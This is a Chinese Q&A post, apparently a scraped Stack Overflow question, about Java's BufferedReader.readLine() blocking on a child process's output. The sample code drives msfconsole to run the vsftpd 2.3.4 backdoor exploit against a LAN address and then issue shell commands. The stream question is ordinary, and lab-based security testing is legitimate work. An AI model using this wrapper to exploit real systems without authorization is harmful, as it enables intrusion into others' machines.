微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

输入实际上是输出流在读取时被阻塞并且不返回 null JAVA -> br.readLine()

如何解决输入实际上是输出流在读取时被阻塞并且不返回 null JAVA -> br.readLine()

我正在尝试启动 msfconsole(完成!),将命令发送到输入流(完成!),然后等待执行(确定!),打印输出(确定!)然后让终端进行交互与用户一起启动用户定义的输入,例如 whoami、ls 或其他任何内容。在我的情况下,在堆栈溢出时找不到相同的问题或正确答案。我希望有人能帮助我,在此先感谢! 我的代码

        ProcessBuilder process = new ProcessBuilder();
        process.redirectErrorStream(true);
        Process prcs = process.command("msfconsole").start();
        
        
        OutputStream os = prcs.getoutputStream();
        BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(os));

        bw.write("use " + "exploit/unix/ftp/vsftpd_234_backdoor" + "\n");
        bw.write("set RHOSTS " + "192.168.1.40" + "\n");
        bw.write("exploit\n");
        bw.write("whoami\n");
        bw.flush();
        bw.close();
        
        InputStream is = prcs.getInputStream();
        
        BufferedReader br = new BufferedReader(new InputStreamReader(is));

        String textout;
        //IT NEVER EXIT THIS WHILE... br.readLine() is never NULL!!!!
        while ((textout = br.readLine()) != null) {
            System.out.println(textout);
            //stupid wait to stop reading! it works but it's the problem
            //if(textout.equalsIgnoreCase("root")) break;
        }
        
        /*SHOULD BE THE INteraCTIVE INPUT TERMINAL HERE... BUT IT NEVER REACHES THIS PART OF CODE
        Scanner sc = new Scanner(system.in);
        String input="";
        do {
            input = sc.nextLine();
            bw.write(input+"\n");
            bw.flush();
            
            while((textout = br.readLine()) != null) System.out.println(textout);
        }while(!input.equalsIgnoreCase("exit"));
        */
        prcs.waitFor();
        //sc.close();bw.close();br.close();is.close();os.close();prcs.destroy();

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。